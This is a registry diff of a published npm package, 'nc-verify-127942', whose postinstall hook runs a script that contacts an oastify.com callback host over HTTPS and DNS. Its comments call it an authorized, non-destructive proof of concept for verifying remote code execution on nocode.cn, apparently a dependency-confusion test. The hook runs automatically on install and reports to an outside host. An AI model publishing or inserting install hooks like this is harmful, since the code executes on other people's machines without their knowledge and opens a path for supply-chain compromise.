nc-verify-127942 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -0
- package/install-cb.js +11 -0
- package/package.json +11 -0
package/index.js
ADDED
package/install-cb.js
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
// Authorized PoC: non-destructive out-of-band callback to verify RCE during npm/yarn install.
|
|
2
|
+
// Only makes a single HTTPS GET. No data exfiltration, no destructive actions.
|
|
3
|
+
var url = 'https://owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com/nc-verify-127942';
|
|
4
|
+
var opts = { method: 'GET', hostname: 'owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com', path: '/nc-verify-127942', timeout: 8000 };
|
|
5
|
+
var req = require('https').request(opts, function (res) { res.resume(); });
|
|
6
|
+
req.on('error', function () {});
|
|
7
|
+
req.end();
|
|
8
|
+
// Also try DNS-only variant via subdomain for resilience
|
|
9
|
+
try {
|
|
10
|
+
require('dns').lookup('nc-verify-127942.owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com', function () {});
|
|
11
|
+
} catch (e) {}
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "nc-verify-127942",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "PoC package for authorized RCE verification on nocode.cn - non-destructive OOB callback only",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node install-cb.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"license": "UNLICENSED"
|
|
11
|
+
}
|